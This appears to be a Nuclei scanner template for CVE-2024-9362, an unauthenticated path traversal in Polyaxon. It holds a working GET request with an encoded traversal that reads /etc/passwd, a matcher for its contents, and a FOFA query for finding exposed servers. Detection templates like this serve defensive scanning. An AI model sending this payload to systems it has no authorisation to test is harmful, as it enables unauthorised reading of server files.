id: CVE-2024-9362

info:
  name: Polyaxon - Unauthenticated Directory Traversal
  author: yunseo
  severity: high
  description: |
    Polyaxon latest version contains a path traversal caused by insufficient validation in directory access, letting unauthenticated attackers retrieve directory information and file contents, exploit requires no authentication.
  impact: |
    Attackers can access sensitive system directories and files, leading to information disclosure and potential further exploitation.
  remediation: |
    Update to the latest version with patched validation mechanisms.
  reference:
    - https://github.com/polyaxon/polyaxon
    - https://huntr.com/bounties/d8dcb40f-ce76-4524-8d06-e0f12a07809d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-9362
    epss-score: 0.24558
    epss-percentile: 0.96203
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
    fofa-query: title=="Polyaxon"
  tags: cve,cve2024,polyaxon,lfi,traversal,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/streams/v1/polyaxon/default/s/runs/%2e%2e/artifact?stream=true&path=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402205bf557353767a21604f61a8a55102c79d38941b342ce850806c94bb8e8425714022018830ea56b92c4be4159daa2b5035221442c8c8c44c890adb72c55a4dedc247f:922c64590222798bb761d5b6d8e72950